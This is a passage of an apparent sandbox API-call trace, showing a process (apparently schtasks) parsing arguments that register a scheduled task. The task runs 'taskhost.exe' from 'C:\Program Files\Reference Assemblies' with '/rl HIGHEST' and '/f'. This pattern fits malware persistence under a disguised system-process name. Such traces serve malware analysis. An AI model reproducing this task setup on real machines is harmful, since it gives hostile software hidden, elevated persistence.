[0142.846] lstrlenW (lpString="|tr|") returned 4 [0142.846] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0142.846] SetLastError (dwErrCode=0x490) [0142.846] lstrlenW (lpString="change") returned 6 [0142.846] lstrlenW (lpString="change") returned 6 [0142.847] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.847] lstrlenW (lpString="tr") returned 2 [0142.847] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.847] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|change|") returned 8 [0142.847] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.847] lstrlenW (lpString="|change|") returned 8 [0142.847] lstrlenW (lpString="|tr|") returned 4 [0142.847] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0142.847] SetLastError (dwErrCode=0x490) [0142.847] lstrlenW (lpString="run") returned 3 [0142.847] lstrlenW (lpString="run") returned 3 [0142.847] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.847] lstrlenW (lpString="tr") returned 2 [0142.847] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.847] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|run|") returned 5 [0142.847] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.847] lstrlenW (lpString="|run|") returned 5 [0142.847] lstrlenW (lpString="|tr|") returned 4 [0142.847] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0142.847] SetLastError (dwErrCode=0x490) [0142.847] lstrlenW (lpString="end") returned 3 [0142.847] lstrlenW (lpString="end") returned 3 [0142.847] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.847] lstrlenW (lpString="tr") returned 2 [0142.847] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.847] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|end|") returned 5 [0142.848] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.848] lstrlenW (lpString="|end|") returned 5 [0142.848] lstrlenW (lpString="|tr|") returned 4 [0142.848] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0142.848] SetLastError (dwErrCode=0x490) [0142.848] lstrlenW (lpString="showsid") returned 7 [0142.848] lstrlenW (lpString="showsid") returned 7 [0142.848] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.848] lstrlenW (lpString="tr") returned 2 [0142.848] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.848] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|showsid|") returned 9 [0142.848] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|tr|") returned 4 [0142.848] lstrlenW (lpString="|showsid|") returned 9 [0142.848] lstrlenW (lpString="|tr|") returned 4 [0142.848] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0142.848] SetLastError (dwErrCode=0x490) [0142.848] SetLastError (dwErrCode=0x490) [0142.848] SetLastError (dwErrCode=0x0) [0142.848] lstrlenW (lpString="/tr") returned 3 [0142.848] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0142.848] SetLastError (dwErrCode=0x490) [0142.848] SetLastError (dwErrCode=0x0) [0142.848] lstrlenW (lpString="/tr") returned 3 [0142.848] GetProcessHeap () returned 0x2f0000 [0142.848] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30dcd0 [0142.848] GetProcessHeap () returned 0x2f0000 [0142.848] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccb0 [0142.848] SetLastError (dwErrCode=0x0) [0142.848] SetLastError (dwErrCode=0x0) [0142.848] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.848] lstrlenW (lpString="-/") returned 2 [0142.848] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.849] SetLastError (dwErrCode=0x490) [0142.849] SetLastError (dwErrCode=0x490) [0142.849] SetLastError (dwErrCode=0x0) [0142.849] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.849] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\taskhost.exe'" [0142.849] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.849] GetProcessHeap () returned 0x2f0000 [0142.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d520 [0142.849] _memicmp (_Buf1=0x30d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.849] GetProcessHeap () returned 0x2f0000 [0142.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d540 [0142.849] GetProcessHeap () returned 0x2f0000 [0142.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d560 [0142.849] _memicmp (_Buf1=0x30d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.849] GetProcessHeap () returned 0x2f0000 [0142.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x6c) returned 0x30dcf0 [0142.849] SetLastError (dwErrCode=0x7a) [0142.849] SetLastError (dwErrCode=0x0) [0142.849] SetLastError (dwErrCode=0x0) [0142.849] lstrlenW (lpString="'C") returned 2 [0142.849] lstrlenW (lpString="-/") returned 2 [0142.849] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.849] SetLastError (dwErrCode=0x490) [0142.849] SetLastError (dwErrCode=0x490) [0142.849] SetLastError (dwErrCode=0x0) [0142.849] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.849] GetProcessHeap () returned 0x2f0000 [0142.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x6a) returned 0x30dd70 [0142.849] GetProcessHeap () returned 0x2f0000 [0142.849] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cce0 [0142.849] SetLastError (dwErrCode=0x0) [0142.849] SetLastError (dwErrCode=0x0) [0142.849] lstrlenW (lpString="/rl") returned 3 [0142.849] lstrlenW (lpString="-/") returned 2 [0142.849] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.849] lstrlenW (lpString="?") returned 1 [0142.849] lstrlenW (lpString="?") returned 1 [0142.850] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.850] lstrlenW (lpString="rl") returned 2 [0142.850] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.850] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|?|") returned 3 [0142.850] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.850] lstrlenW (lpString="|?|") returned 3 [0142.850] lstrlenW (lpString="|rl|") returned 4 [0142.850] SetLastError (dwErrCode=0x490) [0142.850] lstrlenW (lpString="create") returned 6 [0142.850] lstrlenW (lpString="create") returned 6 [0142.850] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.850] lstrlenW (lpString="rl") returned 2 [0142.850] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.850] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.850] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.850] lstrlenW (lpString="|create|") returned 8 [0142.850] lstrlenW (lpString="|rl|") returned 4 [0142.850] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0142.850] SetLastError (dwErrCode=0x490) [0142.850] lstrlenW (lpString="delete") returned 6 [0142.850] lstrlenW (lpString="delete") returned 6 [0142.850] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.850] lstrlenW (lpString="rl") returned 2 [0142.850] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.850] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|delete|") returned 8 [0142.850] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.850] lstrlenW (lpString="|delete|") returned 8 [0142.850] lstrlenW (lpString="|rl|") returned 4 [0142.850] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0142.850] SetLastError (dwErrCode=0x490) [0142.850] lstrlenW (lpString="query") returned 5 [0142.851] lstrlenW (lpString="query") returned 5 [0142.851] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.851] lstrlenW (lpString="rl") returned 2 [0142.851] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.851] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|query|") returned 7 [0142.851] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.851] lstrlenW (lpString="|query|") returned 7 [0142.851] lstrlenW (lpString="|rl|") returned 4 [0142.851] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0142.851] SetLastError (dwErrCode=0x490) [0142.851] lstrlenW (lpString="change") returned 6 [0142.851] lstrlenW (lpString="change") returned 6 [0142.851] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.851] lstrlenW (lpString="rl") returned 2 [0142.851] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.851] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|change|") returned 8 [0142.851] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.851] lstrlenW (lpString="|change|") returned 8 [0142.851] lstrlenW (lpString="|rl|") returned 4 [0142.851] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0142.851] SetLastError (dwErrCode=0x490) [0142.851] lstrlenW (lpString="run") returned 3 [0142.851] lstrlenW (lpString="run") returned 3 [0142.851] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.851] lstrlenW (lpString="rl") returned 2 [0142.851] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.851] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|run|") returned 5 [0142.851] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.851] lstrlenW (lpString="|run|") returned 5 [0142.851] lstrlenW (lpString="|rl|") returned 4 [0142.851] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0142.852] SetLastError (dwErrCode=0x490) [0142.852] lstrlenW (lpString="end") returned 3 [0142.852] lstrlenW (lpString="end") returned 3 [0142.852] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.852] lstrlenW (lpString="rl") returned 2 [0142.852] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.852] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|end|") returned 5 [0142.852] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.852] lstrlenW (lpString="|end|") returned 5 [0142.852] lstrlenW (lpString="|rl|") returned 4 [0142.852] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0142.852] SetLastError (dwErrCode=0x490) [0142.852] lstrlenW (lpString="showsid") returned 7 [0142.852] lstrlenW (lpString="showsid") returned 7 [0142.852] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.852] lstrlenW (lpString="rl") returned 2 [0142.852] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.852] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|showsid|") returned 9 [0142.852] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|rl|") returned 4 [0142.852] lstrlenW (lpString="|showsid|") returned 9 [0142.852] lstrlenW (lpString="|rl|") returned 4 [0142.852] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0142.852] SetLastError (dwErrCode=0x490) [0142.852] SetLastError (dwErrCode=0x490) [0142.854] SetLastError (dwErrCode=0x0) [0142.854] lstrlenW (lpString="/rl") returned 3 [0142.854] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0142.854] SetLastError (dwErrCode=0x490) [0142.854] SetLastError (dwErrCode=0x0) [0142.854] lstrlenW (lpString="/rl") returned 3 [0142.854] GetProcessHeap () returned 0x2f0000 [0142.854] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30ddf0 [0142.854] GetProcessHeap () returned 0x2f0000 [0142.854] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd10 [0142.854] SetLastError (dwErrCode=0x0) [0142.854] SetLastError (dwErrCode=0x0) [0142.854] lstrlenW (lpString="HIGHEST") returned 7 [0142.854] lstrlenW (lpString="-/") returned 2 [0142.854] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0142.854] SetLastError (dwErrCode=0x490) [0142.854] SetLastError (dwErrCode=0x490) [0142.854] SetLastError (dwErrCode=0x0) [0142.854] lstrlenW (lpString="HIGHEST") returned 7 [0142.855] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0142.855] SetLastError (dwErrCode=0x490) [0142.855] SetLastError (dwErrCode=0x0) [0142.855] lstrlenW (lpString="HIGHEST") returned 7 [0142.855] GetProcessHeap () returned 0x2f0000 [0142.855] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d580 [0142.855] GetProcessHeap () returned 0x2f0000 [0142.855] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd40 [0142.855] SetLastError (dwErrCode=0x0) [0142.855] SetLastError (dwErrCode=0x0) [0142.855] lstrlenW (lpString="/f") returned 2 [0142.855] lstrlenW (lpString="-/") returned 2 [0142.855] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.855] lstrlenW (lpString="?") returned 1 [0142.855] lstrlenW (lpString="?") returned 1 [0142.855] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.855] lstrlenW (lpString="f") returned 1 [0142.855] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.855] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|?|") returned 3 [0142.855] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.855] lstrlenW (lpString="|?|") returned 3 [0142.855] lstrlenW (lpString="|f|") returned 3 [0142.855] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0142.855] SetLastError (dwErrCode=0x490) [0142.855] lstrlenW (lpString="create") returned 6 [0142.855] lstrlenW (lpString="create") returned 6 [0142.855] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.856] lstrlenW (lpString="f") returned 1 [0142.856] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.856] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|create|") returned 8 [0142.856] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.856] lstrlenW (lpString="|create|") returned 8 [0142.856] lstrlenW (lpString="|f|") returned 3 [0142.856] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0142.856] SetLastError (dwErrCode=0x490) [0142.856] lstrlenW (lpString="delete") returned 6 [0142.856] lstrlenW (lpString="delete") returned 6 [0142.856] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.856] lstrlenW (lpString="f") returned 1 [0142.856] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.856] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|delete|") returned 8 [0142.856] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.856] lstrlenW (lpString="|delete|") returned 8 [0142.856] lstrlenW (lpString="|f|") returned 3 [0142.856] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0142.856] SetLastError (dwErrCode=0x490) [0142.856] lstrlenW (lpString="query") returned 5 [0142.856] lstrlenW (lpString="query") returned 5 [0142.856] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.856] lstrlenW (lpString="f") returned 1 [0142.857] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.857] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|query|") returned 7 [0142.857] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.857] lstrlenW (lpString="|query|") returned 7 [0142.857] lstrlenW (lpString="|f|") returned 3 [0142.857] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0142.857] SetLastError (dwErrCode=0x490) [0142.857] lstrlenW (lpString="change") returned 6 [0142.857] lstrlenW (lpString="change") returned 6 [0142.857] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.857] lstrlenW (lpString="f") returned 1 [0142.857] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.857] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|change|") returned 8 [0142.857] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.857] lstrlenW (lpString="|change|") returned 8 [0142.857] lstrlenW (lpString="|f|") returned 3 [0142.857] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0142.857] SetLastError (dwErrCode=0x490) [0142.857] lstrlenW (lpString="run") returned 3 [0142.857] lstrlenW (lpString="run") returned 3 [0142.857] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.857] lstrlenW (lpString="f") returned 1 [0142.857] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.858] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|run|") returned 5 [0142.858] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.858] lstrlenW (lpString="|run|") returned 5 [0142.858] lstrlenW (lpString="|f|") returned 3 [0142.858] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0142.858] SetLastError (dwErrCode=0x490) [0142.858] lstrlenW (lpString="end") returned 3 [0142.858] lstrlenW (lpString="end") returned 3 [0142.858] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.858] lstrlenW (lpString="f") returned 1 [0142.858] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.858] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|end|") returned 5 [0142.858] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.858] lstrlenW (lpString="|end|") returned 5 [0142.858] lstrlenW (lpString="|f|") returned 3 [0142.858] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0142.858] SetLastError (dwErrCode=0x490) [0142.858] lstrlenW (lpString="showsid") returned 7 [0142.858] lstrlenW (lpString="showsid") returned 7 [0142.858] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.858] lstrlenW (lpString="f") returned 1 [0142.858] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.858] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|showsid|") returned 9 [0142.858] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df638 | out: _Buffer="|f|") returned 3 [0142.858] lstrlenW (lpString="|showsid|") returned 9 [0142.859] lstrlenW (lpString="|f|") returned 3 [0142.859] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0142.859] SetLastError (dwErrCode=0x490) [0142.859] SetLastError (dwErrCode=0x490) [0142.859] SetLastError (dwErrCode=0x0) [0142.859] lstrlenW (lpString="/f") returned 2 [0142.859] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0142.859] SetLastError (dwErrCode=0x490) [0142.859] SetLastError (dwErrCode=0x0) [0142.859] lstrlenW (lpString="/f") returned 2 [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x6) returned 0x30de10 [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd70 [0142.859] SetLastError (dwErrCode=0x0) [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1e0) returned 1 [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c1e0) returned 0x8 [0142.859] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1e0 | out: hHeap=0x2f0000) returned 1 [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbf0) returned 1 [0142.859] GetProcessHeap () returned 0x2f0000 [0142.859] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cbf0) returned 0x20 [0142.860] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbf0 | out: hHeap=0x2f0000) returned 1 [0142.860] GetProcessHeap () returned 0x2f0000 [0142.860] GetProcessHeap () returned 0x2f0000 [0142.860] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4e0) returned 1 [0142.860] GetProcessHeap () returned 0x2f0000 [0142.860] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d4e0) returned 0x12 [0142.860] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4e0 | out: hHeap=0x2f0000) returned 1 [0142.860] GetProcessHeap () returned 0x2f0000 [0142.860] GetProcessHeap () returned 0x2f0000 [0142.860] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc20) returned 1 [0142.860] GetProcessHeap () returned 0x2f0000 [0142.860] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc20) returned 0x20 [0142.861] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc20 | out: hHeap=0x2f0000) returned 1 [0142.861] GetProcessHeap () returned 0x2f0000 [0142.861] GetProcessHeap () returned 0x2f0000 [0142.861] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcb0) returned 1 [0142.861] GetProcessHeap () returned 0x2f0000 [0142.861] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dcb0) returned 0x8 [0142.861] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcb0 | out: hHeap=0x2f0000) returned 1 [0142.861] GetProcessHeap () returned 0x2f0000 [0142.861] GetProcessHeap () returned 0x2f0000 [0142.861] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc50) returned 1 [0142.861] GetProcessHeap () returned 0x2f0000 [0142.861] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc50) returned 0x20 [0142.862] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc50 | out: hHeap=0x2f0000) returned 1 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d500) returned 1 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d500) returned 0x10 [0142.862] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d500 | out: hHeap=0x2f0000) returned 1 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc80) returned 1 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc80) returned 0x20 [0142.862] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc80 | out: hHeap=0x2f0000) returned 1 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcd0) returned 1 [0142.862] GetProcessHeap () returned 0x2f0000 [0142.862] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dcd0) returned 0x8 [0142.863] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcd0 | out: hHeap=0x2f0000) returned 1 [0142.863] GetProcessHeap () returned 0x2f0000 [0142.863] GetProcessHeap () returned 0x2f0000 [0142.863] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccb0) returned 1 [0142.863] GetProcessHeap () returned 0x2f0000 [0142.863] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccb0) returned 0x20 [0142.863] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccb0 | out: hHeap=0x2f0000) returned 1 [0142.863] GetProcessHeap () returned 0x2f0000 [0142.863] GetProcessHeap () returned 0x2f0000 [0142.863] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd70) returned 1 [0142.863] GetProcessHeap () returned 0x2f0000 [0142.863] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dd70) returned 0x6a [0142.864] 